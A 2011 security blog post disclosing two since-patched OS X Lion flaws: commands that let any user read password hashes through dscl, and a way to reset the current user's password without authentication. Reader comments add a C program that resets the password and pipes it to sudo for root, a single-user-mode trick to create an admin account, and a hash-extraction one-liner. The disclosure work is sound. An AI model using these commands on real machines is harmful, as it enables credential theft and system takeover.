Cracking OS X Lion Passwords

UPDATE [2011-10-15]:
The issues described in this post have now been resolved by Apple. Users running OS X Lion 10.7.2 or security update 2011-006 are no longer affected by the vulnerabilities detailed below (CVE-2011-3435 and CVE-2011-3436). For further details on this security update please see Apple's advisory.

In 2009 I posted an article on Cracking Mac OS X passwords. Whilst this post has been quite popular, it was written for OS X 10.6 and prior. Since the release of Mac OS X Lion (10.7) in July, I have received numerous requests for an update. Typically, I would have just updated the existing article without the need for a new post. However, during my research I discovered something interesting about OS X Lion that I'd like to share.

In previous versions of OS X (10.6, 10.5, 10.4) the process to extract user password hashes has been the same: obtain the user's GeneratedUID and then use that ID to extract hashes from a specific user's shadow file (See my previous post for a more detailed description).

When it comes to Lion, the general premise is the same (albeit a few technical differences). Each user has their own shadow file, with each shadow file stored under a .plist file located in /var/db/dslocal/nodes/Default/users/.

The interesting thing when it comes to Lion's implementation, however, is privilege. As mentioned above, all OS X versions are using shadow files. For the unfamiliar, a shadow file is that which can only be accessed by users with a high privilege (typically root). So for all modern OS X platforms (Tiger, Leopard, Snow Leopard and Lion) each user has their own shadow file (hash database) whose data is accessible only by the root user… or at least it should be.

It appears in the redesign of OS X Lion's authentication scheme a critical step has been overlooked. Whilst non-root users are unable to access the shadow files directly, Lion actually provides non-root users the ability to still view password hash data. This is accomplished by extracting the data straight from Directory Services.

If we invoke a a directory services listing on user bob by specifying the /Local/ path we can see bob's standard profile information:

$ dscl localhost -read /Local/Default/Users/bob

This provides us with nothing too exciting. However, if we invoke the directory services listing using the /Search/ path, we see a different result:

$ dscl localhost -read /Search/Users/bob

From the output, we can see the following data:

dsAttrTypeNative:ShadowHashData:

62706c69 73743030 d101025d 53414c54 45442d53 48413531 324f1044 74911f72 3bd2f66a 3255e0af 4b85c639 776d510b 63f0b939 c432ab6e 082286c4 7586f19b 4e2f3aab 74229ae1 24ccb11e 916a7a1c 9b29c64b d6b0fd6c bd22e7b1 f0ba1673 080b1900 00000000 00010100 00000000 00000300 00000000 00000000 00000000 000060

Note: The SHA512 hash is stored from bytes 32-96 (green) and the salt is stored from bytes 28-31(red). For more information on these hashes please see this thread.

This ShadowHashData attribute actually contains the same hash stored in user bob's shadow .plist file. The interesting thing about this? root privileges are not required. All users on the system, regardless of privilege, have the ability to access the ShadowHashData attribute from any other user's profile.

Due to Lions relatively short time on the market, I am yet to find any of the major crackers supporting OS X Lion hashes (SHA512 + 4-byte salt). To simplify the cracking of these hashes I have created a simple python script which can be downloaded here.

Now, if the password is not found by the dictionary file you're out of luck, right? Well, no! Why crack hashes when you can just change the password directly! It appears Directory Services in Lion no longer requires authentication when requesting a password change for the current user. So, in order to change the password of the currently logged in user, simply use:

$ dscl localhost -passwd /Search/Users/bob

And voilà! You will be prompted to enter a new password without the need to authenticate.

There has been some conjecture surrounding the severity of these attacks. Whilst the ability to change the currently active user’s password is not a privilege escalation flaw per se, it can under some circumstances be used for these purposes. Allow me to provide a scenario:

A user with administrative rights is browsing the internet with Safari. The user happens to browse to a website hosting a malicious Java Applet. Unbeknownst to the user, they allow the innocent looking Java Applet to run. The Applet will proceed to make a connection back to the attacker, providing the attacker with full shell access. Whilst the attacker has access to the system, they are provided only with limited user privileges (they still do not have root access). This would limit what an attacker could accomplish. However, with the vulnerabilities described above the attacker now has an advantage:  they can change the password of the current user. Now remember, the current user is an administrator. So now all the attacker has to do is sudo –s  to become root. If lets say the victim did not have administrative rights, the attacker still has the ability to extract user hashes from the system and attempt to crack them.

As a temporary measure to mitigate these attacks (before Apple release a patch), it is recommended to limit standard access to the dscl utility. The can be done as follows:

 $ sudo chmod 100 /usr/bin/dscl

Comments

  1. <<< and VOILA >>> demmit ;)

    ReplyDelete
  2. This does not work as posted for me:

    $ dscl localhost -passwd /Search/testuser
    New Password:
    passwd: Invalid Path
    DS Error: -14009 (eDSUnknownNodeName)

    $ sw_vers
    ProductName: Mac OS X
    ProductVersion: 10.7.1
    BuildVersion: 11B2118

    ReplyDelete
    Replies
    1. It appears Directory Services in Lion no longer requires authentication when requesting a password change for the CURRENT USER. So, in order to change the password of the CURRENTLY LOGGED IN USER, simply use:

      $ dscl localhost -passwd /Search/Users/bob

      Delete
  3. Worked for me (Snow Leopard installation upgraded to Lion).

    ProductName: Mac OS X
    ProductVersion: 10.7.1
    BuildVersion: 11B26

    ReplyDelete
  4. I think you meant 'Voilà'. Viola is a musical instrument. Cool article otherwise. Nice catch.

    ReplyDelete
  5. ^

    $ dscl localhost -passwd /Search/Users/testuser

    l2copypaste

    ReplyDelete
    Replies
    1. It appears Directory Services in Lion no longer requires authentication when requesting a password change for the CURRENT USER. So, in order to change the password of the CURRENTLY LOGGED IN USER, simply use:

      $ dscl localhost -passwd /Search/Users/bob

      Delete
  6. Syntax Error Anonymous...

    Instead of:
    $ dscl localhost -passwd /Search/testuser

    Use:
    $ dscl localhost -passwd /Search/Users/testuser

    ReplyDelete
  7. fwiw changing the password won't change the user's Keychain password, but if you crack the hashes, well, all bets are off.

    ReplyDelete
  8. It is true that you can access the password hash of every user without being root, but it seems you cannot change another user's password without knowing the old one:
    $ dscl localhost -passwd /Search/Users/bob
    New Password: *******
    Permission denied. Please enter user's old password: ******
    passwd: DS error: eDSAuthFailed
    DS Error: -14090 (eDSAuthFailed)

    ReplyDelete
    Replies
    1. It appears Directory Services in Lion no longer requires authentication when requesting a password change for the CURRENT USER. So, in order to change the password of the CURRENTLY LOGGED IN USER, simply use:

      $ dscl localhost -passwd /Search/Users/bob

      Delete
  9. Passware Kit crack hashes for Mac OS X Lion: http://www.lostpassword.com/kit-forensic.htm

    ReplyDelete
  10. does not work as described for me (snow leopard updated to lion):

    $ dscl localhost -passwd /Search/Users/Portal2
    New Password:
    Permission denied. Please enter user's old password:
    passwd: DS error: eDSAuthFailed
    DS Error: -14090 (eDSAuthFailed)

    ReplyDelete
    Replies
    1. It appears Directory Services in Lion no longer requires authentication when requesting a password change for the CURRENT USER. So, in order to change the password of the CURRENTLY LOGGED IN USER, simply use:

      $ dscl localhost -passwd /Search/Users/bob

      Delete
  11. This does not work with mine either. But thanks anyway for that you've shared.


    -brax

    ReplyDelete
  12. Does not work for me (Lion).

    ReplyDelete
  13. Didn't work for me either. Neither on Leopard nor on Snow Leopard...

    ReplyDelete
  14. first of all, why not just use passwd ? There's no reason to go through directory services.

    Also, didn't work for me either:

    1. Logged in as a non-privileged user and tried to change another non-privileged user's password. No dice. It asked for the old password.

    2. Logged in as an administrator and tried to change a non-privileged user's password. No dice.

    3. Logged in as root and tried to change a non-privileged user's password. Worked.

    ReplyDelete
  15. This doesn't work for me:

    dscl localhost -passwd /Search/Users/foo
    New Password:
    Permission denied. Please enter user's old password:

    ReplyDelete
    Replies
    1. It appears Directory Services in Lion no longer requires authentication when requesting a password change for the CURRENT USER. So, in order to change the password of the CURRENTLY LOGGED IN USER, simply use:

      $ dscl localhost -passwd /Search/Users/bob

      Delete
  16. Well regarding the -passwd option, it seems only the logged-in user can change its own password without knowing the old one. That's still bad if you leave your console open and someone can access your terminal, so not that nasty, but definitely worth a patch.

    ReplyDelete
  17. it is not just a problem of letting someone type on your terminal,
    the whole -passwd option behaviour _IS_ nasty, every app could be as simple as:

    #include <stdlib.h>
    #include <stdio.h>

    #define PASSWORD "sucksman"

    int main(int argc, const char * const argv[]) {
    char *user=getenv("USER");
    char buf[256];

    sprintf(buf, "dscl localhost -passwd /Search/Users/%s " PASSWORD, user);
    system(buf);
    system("echo " PASSWORD " | sudo -S id");
    return 0;
    }

    and running it with let it exploit your system, leaving you with the useless trace of not being able to use your old password. My advice is to avoid operating osx lion as an administrator until apple patches this c**p (that would leave you trembling each time an app asks for an adm password anyway)

    ReplyDelete
  18. Wasn't this already explained by Charlie Miller, the multiple pwn2own winner?

    ReplyDelete
  19. If you're a local non-root user you already have physical access to the machine. It's already game over so who gives a shit?

    ReplyDelete
  20. Not necessarily. You could have, for example, remotely taken over a buggy internet browser process.

    ReplyDelete
  21. FUD?!

    same here:

    golem:~ Guest$ dscl localhost -passwd /Search/Users/bob
    New Password:
    Permission denied. Please enter user's old password:
    passwd: DS error: eDSAuthFailed
    DS Error: -14090 (eDSAuthFailed)
    golem:~ Guest$

    ReplyDelete
  22. Junk as far as I can tell this is only an issue if you have access to the computer. In which case it is redundant for anything other than a practical joke.

    ReplyDelete
  23. are you people retarded?! you can only do this on the currently logged in user.... so unless you're logged in as BOB copying and pasting the command aint gonna work! DOH

    ReplyDelete
  24. Running the script on 10.6.8 results in an error. My understanding is that this whould work from Tiger to Lion. No?

    No username given. Defaulting to current user.
    Traceback (most recent call last):
    File "pwd.py", line 57, in
    if len(digest) == 262: # Out of box configuration
    NameError: name 'digest' is not defined

    ReplyDelete
  25. I am on 10.7.1, and the behaviour of these commands is slightly different for me. For example, when trying to change the password, I get:

    $ dscl localhost -passwd /Search/Users/bob
    New Password:
    Permission denied. Please enter user's old password:
    passwd: DS error: eDSAuthFailed
    DS Error: -14090 (eDSAuthFailed)

    Also, while the 'read' command does output information, it doesn't output the shadow information unless I am querying the user I'm logged in with. For example:

    $ dscl localhost -read /Search/Users/root | grep -i 'shadowhashdata'
    $

    $ dscl localhost -read /Search/Users/bob | grep -i 'shadowhashdata'
    $

    $ dscl localhost -read /Search/Users/MyUser | grep -i 'shadowhashdata'
    dsAttrTypeNative:ShadowHashData:

    ReplyDelete
  26. Interesting -- thanks for the read.

    However, just one complaint: could you please edit the source of your script to at least cache the nmap password list. I'm not affiliated with nmap in any way, but it bugs me to see such blatant abuse of bandwidth :)

    ReplyDelete
  27. it worked for me.. but keychain still asks for the old password..

    doesnt work for SU either..

    ReplyDelete
  28. the doesnt work on my Apple IIe . total fail

    ReplyDelete
  29. did not work here - when trying to change an existing users name that is not myself, I have to provide the existing password.
    Ok, if the brute-force attack works, I could be able to get this password, but it would take some time.

    ReplyDelete
  30. Resetting password does _NOT_ work on my MBP with Lion 10.7.1.
    I was logged in as a standard used and tried this (with an admin called "test" being created beforehand):

    $ dscl localhost -passwd /Search/Users/test
    New Password:
    Permission denied. Please enter user's old password:

    ReplyDelete
  31. Ok, the people having issues with this need to run the command with your username in place of the word "bob".
    Verified in OS X 10.7.1 as not needing to enter the my current user password to change it. In OS X, the Administrator password is essentially a root user, so this is pretty bad.

    I actually reported to Apple about the ability for users to see the shadow file data from Directory Services about a week before Lion's release, but I haven't heard anything since.

    ReplyDelete
  32. 1) This only works for the LOGGED IN USER
    2) Running the command with a different user will prompt you for old password
    3) Running the directory query with a different user will not expose the hash

    So, basically, the article should say, "These issues are present for the logged in user only, not any other user". Which is of course why you shouldn't use your Macintosh with your admin user account.

    Also, none of this will expose the Keychain.

    ReplyDelete
  33. Very interesting read
    Thanks!

    ReplyDelete
  34. Does not work. Only works for your own user account. Presumably, you already know your own password, and were thoughtful enough to lock your screen if you walk away.

    $ dscl localhost -passwd /Search/Users/notmyuid
    New Password:
    Permission denied. Please enter user's old password:

    ReplyDelete
  35. Keep in mind that this even changes the password needed to boot a Mac encrypted with FileVault. As long as you don't have a second user to unlock it and didn't write down the recovery key for security reasons you're locked out of your machine completely until someone gives you the changed password

    ReplyDelete
  36. Works on snow leopard too!

    ReplyDelete
  37. Is this, in combination with sudo, possibly a local root exploit, if the currently logged in user belongs to the admin group?

    ReplyDelete
  38. Of course you need:
    - to have access from ext > mac (this is not simple as for other OS's)
    - need to upload your python script on this machine (scp? ftp? afp?)
    - the user have to be logged in,
    - that user logged in is an admin ...

    This scenario, by my point of view, is usable only on phisical attacks, you in front of that mac,your script on usb key....
    Anyway great work...

    ReplyDelete
  39. This seems to be an issue with LDAP running on MSFT with Lion Client. We cannot duplicate the issue. We suggest that if you have a problem like this review your LDAP settings.


    Base on the initial article we cannot duplicate the results. Full accounting of the type of system, software versions, ldap, server, etc would help.


    "It appears Directory Services in Lion no longer requires authentication when requesting a password change for the current user. So, in order to change the password of the currently logged in user, simply use:

    $ dscl localhost -passwd /Search/Users/bob"

    ReplyDelete
  40. As for the part related to reading the password hashes, does a non-root user have access to other users' hashes?

    ReplyDelete
  41. A lot of you guys are missing the boat on this one...

    If you are logged in and someone can hijack any process on your machine in such a way that it can run the -passwd command, which is not that farfetched of an idea by any means, they have potentially gained unfettered remote access to your machine. They don't need to come to your house to do this, they just need to [get you to] execute some code. They could do this by creating some stupid game for stupid users, relying on OS X's default of hiding filetype extensions, or any of innumerable other prey-on-the-ignorant tactics, not to mention the more typical browser exploit approach that we're pretty much all vulnerable to in one way or another. At pwn2own 2011 [and 2010...and 2009], Safari was the first browser compromised.

    ReplyDelete
  42. Pulling the hashes is a bad thing, but I was only able to get the passwd function to work using sudo, if I tried to do it unauthed I got the same AuthFailed error as some of the other people above.

    So this only seems to be a problem if you're running root, or you give a rogue application root access.

    Which is pretty bad, but not as doom and gloom as unauthenticated users/applications being able to change the password.

    ReplyDelete
  43. For what it's worth, the ShadowHashData is stored as a binary plist. You can convert it to a readable form like this:

    dscl localhost -read /Search/Users/bob ShadowHashData | tail -1 | xxd -r -p | plutil -convert xml1 -o - -

    Then you don't have to muck around worrying about which offset contains the salt.

    ReplyDelete
  44. "If you're a local non-root user you already have physical access to the machine."

    I do not have Lion to verify, but it certainly reads as if ANY PROCESS could extract the hash and change the password of its owning user. Obviously this includes malware and exploits. "Local" does not mean "physical".

    ReplyDelete
  45. If you have local access to any PC and the data isn't encrypted you own that PC - OS doesn't matter.

    ReplyDelete
  46. Two points, previous posters are correct in that if you have physical access to the machine, you can obtain root. Reboot the machine, hold "S" as the machine boots. When the root shell opens up, run "rm -f /var/db/.AppleSetupDone ; reboot" - On the next boot you can create an admin user and use sudo to obtain root access.

    Also correct, if a rogue process has non-root access to the machine, it may be able to obtain root access by forcing the password using dscl. Dangerous.

    ReplyDelete
  47. Does the account which you are able to change the a password of another user need to be the Admin account?

    The account which is changing the users password, can it be any user? Again, we cannot duplication lion 10.7.1

    Is the directory server as you state a " It appears Directory Services in Lion no longer requires authentication when requesting a password change for the current user. " That app, if you are the admin user is operating as the admin user. If you are not than you cannot do any of what you said.

    Please provide details of OS version, directory server (if you are connecting) and the account type, admin, root or user.

    We would like to duplicate, there have been reports of problems but we found poorly configured OS. We also have a bug, that has been reported but is not anything what you described.

    ReplyDelete
  48. You may want to set a open firmware password to stop the users from booting off other disk.

    We can only duplicate the issue with root user, why you want it enabled is crazy. Someone may want to do a clean install of lion, boot create some users and see what happens after you log in without connecting to a directory server.
    They left out an important detail.

    Here is hoping they share it....

    Os version
    Version of directory server your Mac in test is connected to?
    Is root enabled?
    Is the account root?
    Was the machine updated with root user active?
    Is the account admin?

    Unable to duplicate? You may have another issue that needs to be addressed...

    ReplyDelete
  49. I fear this might be bigger than most commenters before me may realize:

    The following scenarion only applies to administrators:

    1) Download & Run malicious software
    2) The Software now CHANGES your administrator password without you noticing (using the described method)
    3) The application now knows the CURRENT administrator password and can therefore perform administrative actions, such as CHANGING other passwords, installing a trojan, changing firewall rules, ...

    So, yes, this can only change the current user's password, but when used correctly it could be used to take complete control of the target computer.

    Also, as it requires no authentication this might even be used by a malicious Java Applet or javascript.

    Does anybody know how this can be fixed?

    ReplyDelete
  50. I fixed this for now by restricting access to the dscl tool by running:

    sudo chmod 110 /usr/bin/dscl

    in Terminal.

    ReplyDelete
  51. You can also fix this with:

    sudo chmod go-x /usr/bin/dscl

    ReplyDelete
  52. Last login: Tue Sep 20 16:13:20 on ttys008
    solea:~ user$ dscl localhost -passwd /Search/Users/user
    New Password:
    Permission denied. Please enter user's old password:
    passwd: DS error: eDSAuthFailed
    DS Error: -14090 (eDSAuthFailed)
    solea:~ user$ sudo bash
    bash-3.2# dscl localhost -passwd /Search/Users/user
    New Password:
    bash-3.2#

    :)))) sapienti sat

    ReplyDelete
  53. Lion is quickly turning into another ME.

    ReplyDelete
  54. There are a lot of dumb users out there the article doesn't say you cam change another users oassword it says you can change the currect users and the access the hashes of other users you woukd still need to crack the hashes to get other users passwords

    ReplyDelete
  55. this problem can be fixed by buying a PC :P

    ReplyDelete
  56. Two temporary solutions posted so far:

    sudo chmod go-x /usr/bin/dscl
    &
    sudo chmod 100 /usr/bin/dscl

    Are either of these superior to the other?
    Are there any disadvantages to running these?
    If Apple patches the issue, how do you reverse this command?

    ReplyDelete
  57. @Dfoster:

    sudo chmod go-x makes dscl non-executable, but all users can still read/write (pointless, really, because it needs to run as an execute)

    sudo chmod 100 does the makes the file read only, and not at all accessible to anyone other than root (if I remember my syntax correctly)

    ReplyDelete
  58. "this problem can be fixed by buying a PC :P"

    Unfortunately, only this problem will be fixed buy buying a PC. Then you have some more things to do:

    http://www.cs.duke.edu/csl/security/securewindows

    ReplyDelete
  59. Hi, we have posted a response to clear up some of the bad reporting related to the dscl command line tool. Glad to see people read them.
    You can read it here as well. Low Risk, not a threat and nothing new. We love to here what you think. Discloser and Truth!
    http://mcaf.ee/3h8mg
    passwd
    Usage: passwd user_path [new_pasword | old_password new_pasword]

    Changes a password for a user. The user must be specified by full path,
    not just a username. If you are authenticated to the node (either by
    specifying the -u and -P flags or by using the auth command when in
    interactive node) then you can simply specify a new password. If you are
    not authenticated then the user's old password must be specified. If
    passwords are not specified while in interactive mode, you will be
    prompted for them. Passing these passwords on the command line is inher-
    ently insecure and can cause password exposure. For better security do
    not provide the password as part of the command and you will be securely
    prompted.

    ReplyDelete
  60. confirmed on OS X Lion 10.7.1

    Was able to enter new password without being prompted for old one. Scary!

    Also, changing the permissions for dscl was effective as well. Now you need sudo to execute dscl. Now, the bigger question: what will changing permissions to dscl do to applications? I guess I'll be finding out :)

    ReplyDelete
  61. Patrick,

    On behalf of the human race, apologies for the multitude of morons who are incapable of understanding words, yet somehow manage to write comments about how it "doesn't work" when nobody said what they're trying to do *would* work.

    Keep it up!

    ReplyDelete
  62. It is an obvious flaw and all though many people on here will point out every which way technically it may or may not be exploited it is still a vulnerability and deserves a CVE, risk rating and potentially a vendor patch. Keep up the good work Pat!

    ReplyDelete
  63. 6am? Shouldn't you be sleeping? -Stone

    ReplyDelete
  64. Apple pretty much sucks. People get a real computer.

    ReplyDelete
  65. Interesting. BUT: "The Applet will proceed to make a connection back to the attacker, providing the attacker with full shell access." That is one hell of an assumption, and IF it happened, it would be a huge security flaw in ALL operating systems. Basically, this article says "if someone can get local access, they can screw your system". I say "show me an intel based system where this is not true, and I will show you some one who is telling a lie"!!!!! This is nothing more than hype for hype's sake. It does need patching. Apple don't get off that lightly.

    ReplyDelete
  66. Confirmed still broken in 10.7.2

    ReplyDelete
  67. Still broken in 11C57 which is the latest developer build.

    ReplyDelete
  68. Still can't get this to work. Does anyone have any proof that this works?

    Yeah, didn't think so.

    ReplyDelete
  69. Just for the record, disabling the dscl command using one of the chmod commands given only serves to disable a ready-made tool on the system that can perform these functions.

    However, the dscl tool merely uses published APIs to make requests and queries to the DirectoryService process (which runs as root). This process is the one that has the flaw. But you best not disable it or you will find the whole OS becomes unusable as it is a vital system process.

    ReplyDelete
  70. From what I can tell (playing with Snow Leopard rather than Lion), what if someone DID do one of the chmod changes to dscl hoping to avoid the problem. Well, one can still make a copy of the executable and change the permissions ( cp /usr/bin/dscl ~/mydscl ) allowing the user to at least read info again ( ~/mydscl localhost -read /Search/Users/username ).

    ReplyDelete
  71. Well, never mind my previous comment on copying dscl. Probably wouldn't be able to open the file for reading to do the copy without being root. However, why not just bring your own copy on flash drive...

    ReplyDelete
  72. Patrick, your Safari-Java-Applet scenario on Lion is wrong. You claim "full shell access" for such an applet. Let's check what we need for this:

    - Lion comes with no Java at all. So no Java Applet can run.
    User needs to install Java. Ok, next try.

    - Java Applets cannot access the file system nor can they run other programs on the system.
    Applet needs to be signed and then trusted by the user for "full access". Ok, next try.

    - On top of that Safari's Webcontent is sandboxed. Web content cannot access the file system outside its sandbox nor can it run other programs directly. Tricking the user by an additional download that opens and runs code like a shell script results in a system warning for the user about this. The user has to grant this.

    Like Phil Collins sings: A long, long way to go. Isn't it?

    Kind regards,
    MacMark

    ReplyDelete
  73. However, the dscl tool merely uses published APIs to make requests and queries to the DirectoryService process (which runs as root). This process is the one that has the flaw. But you best not disable it or you will find the whole OS becomes unusable as it is a vital system process.

    There is no 'DirectoryService' process in 10.7

    ReplyDelete
  74. Do people just not know how to read? This is a real issue. Read the article. It works as written.

    1. User connects to webpage with Java app, promising to show boobies if you say 'Yes' to the booby shower Java app.
    2. Java app runs and changes current user password.
    3. Because the current user is an Admin it does the following:
    a. enables SSH
    b. sets root user password
    c. installs client for command and control system
    d. patches vulnerability
    e. shows the user good porn
    4. system becomes part of bot net

    ReplyDelete
  75. I also wonder why everyone is focused on the changeing of the password. imho it's much worse vulnerability, that all the hashes can be read that easily. Although hash and salt alghorithm might be much better than the one of vista, i doubt that it takes so long until theres something like Ophcrack for mac. Didn't already a comment talk about some online rainbowtableservice for Lion password hashes? Finding out the password gives much less perceiveable power than a changed password thus giving you a better chance to grow yout botnet, isn't it?

    ReplyDelete
  76. @MacKnob(Mark)... [Applet needs to be signed and then trusted by the user for "full access". Ok, next try.]

    Why would that be difficult?

    ReplyDelete
  77. Holy flying stupidity, guys.

    > There is no 'DirectoryService' process in 10.7

    So it's named something else. The vulnerability remains; you don't necessarily need file system privileges to exploit it.

    Does anybody know how DirectoryService actually works? Is the server listening on a Unix-domain socket? If not, is the socket accessible from the Java sandbox?

    > I also wonder why everyone is focused on the changeing of the password.

    Because if the user is admin, as they usually are, you have instant root without the tedious COU requirements and unknown success probability associated with brute-forcing it.

    You can even hide the fact that their password has been changed from the user; just create a new user for yourself and undo the change of their hash in the directory database.

    ReplyDelete
  78. My sides! They hurt from the lulz!

    ReplyDelete
  79. I'm not familiar with OS X, but isn't the "dscl localhost" actually creating a socket connection? If so - changing permissions won't help if attacker implements it's own dscl client.

    ReplyDelete
  80. This does not work in you authenticate against Active Directory. So that's good...

    ReplyDelete
  81. As the author recognizes when spelling out it only mitigates an attack, changing the permissions of dscl doesn't help much. If you only remove the executable permissions for group and other (sudo chmod go-x /usr/bin/dscl), the file can still be copied and the copy will have the current user as owner ... If it's set to only be readable by owner (sudo chmod 100 /usr/bin/dscl) the intruder possibly can supply their own executable (remember they have the privileges of the current user).

    It's the service that needs to be fixed.

    ReplyDelete
  82. i guess u cant chance the passwd of root.

    $ dscl localhost -passwd /Search/Users/root
    New Password:
    Permission denied. Please enter user's old password:
    passwd: DS error: eDSAuthFailed
    DS Error: -14090 (eDSAuthFailed)

    also the password dous not return the password in SHA1.
    $ dscl localhost -read /Search/Users/root
    AppleMetaNodeLocation: /Local/Default
    GeneratedUID: FFFFEEEE-DDDD-CCCC-BBBB-AAAA00000000
    NFSHomeDirectory: /var/root
    Password: *
    PrimaryGroupID: 0
    RealName:
    System Administrator
    RecordName:
    root
    BUILTIN\Local System
    RecordType: dsRecTypeStandard:Users
    SMBSID: S-1-5-18
    UniqueID: 0
    UserShell: /bin/sh

    ReplyDelete
  83. To ALL the idiots claiming this doesn't work ETC. Apple have released an updated to patch what Patrick has found!

    http://support.apple.com/kb/HT5002

    Where he is mentioned:

    Open Directory

    Available for: OS X Lion v10.7 and v10.7.1, OS X Lion Server v10.7 and v10.7.1

    Impact: Any user may read another local user's password data

    Description: An access control issue existed in Open Directory. This issue does not affect systems prior to OS X Lion.

    CVE-ID

    CVE-2011-3435 : Arek Dreyer of Dreyer Network Consultants, Inc, and Patrick Dunstan at defenseindepth.net

    Open Directory

    Available for: OS X Lion v10.7 and v10.7.1, OS X Lion Server v10.7 and v10.7.1

    Impact: An authenticated user may change that account's password without providing the current password

    Description: An access control issue existed in Open Directory. This issue does not affect systems prior to OS X Lion.

    CVE-ID

    CVE-2011-3436 : Patrick Dunstan at defenceindepth.net

    ReplyDelete
  84. geez, I thot FreeBSD was better than that. Even Linux doesn't have that size of hole into root.

    ReplyDelete
  85. Thank you very mutch. I have buyed my Mac snownleopard just few Month ago, and have thod thats somthing is wrong, i contacted Apple about 15 - 20 Times there was nobody able to help me..

    Tanks again, Realy awseme Security lesson.

    M.H switzerland

    ReplyDelete
  86. its appeared not to work as others had reported. terminal was not advancing cursor with any characters when I entered new password after it had asked for old password first. however after leaving terminal and checking the system found the password had been changed successfully except for the old password associated with Keychain.
    running 10.7.2
    Thanx

    ReplyDelete
  87. Thanks for the read, this will help with my prject im working on for Crazy Contact Lenses.

    ReplyDelete
  88. Thats right @mensajes claro

    Tanks again, Realy awseme Security lesson.

    ReplyDelete
  89. Thats right @anonymous
    "It's the service that needs to be fixed. "

    ReplyDelete
  90. Really a good topic you raise.
    Great article buddy keep it up!
    Thanks for that.

    www.mobitily.com

    ReplyDelete
  91. Thanks for your suggestion well written article with lot of helpful information.
    Wireless security system

    ReplyDelete
  92. Do you know why digest is not defined for me ? I tried on osx 10.7.5

    ReplyDelete
  93. I admire the valuable information you offer in your message. This message are obviously from your personal experience. It’s a authentic and fantastic for anyone. I will remain awhile for your message. Really I am impressed with your message content. Keep up the great work. I will bookmark your blog and have my friends check up here often. I am quite sure they will learn lots of new stuff here than anybody else . I respect you from the core of the heart. Thanks for sharing this information
    Become Ordained Online

    ReplyDelete
  94. Hi,
    It doesn't work for me :

    SALT :
    Traceback (most recent call last):
    File "pass.py", line 78, in
    salt_hex = chr(int(salt[0:2], 16)) + chr(int(salt[2:4], 16)) + chr(int(salt[4:6], 16)) + chr(int(salt[6:8], 16))
    ValueError: invalid literal for int() with base 16: ''

    ReplyDelete

Popular posts from this blog

Cracking Mac OS X Passwords

Metasploit Autopwn: Hacking made simple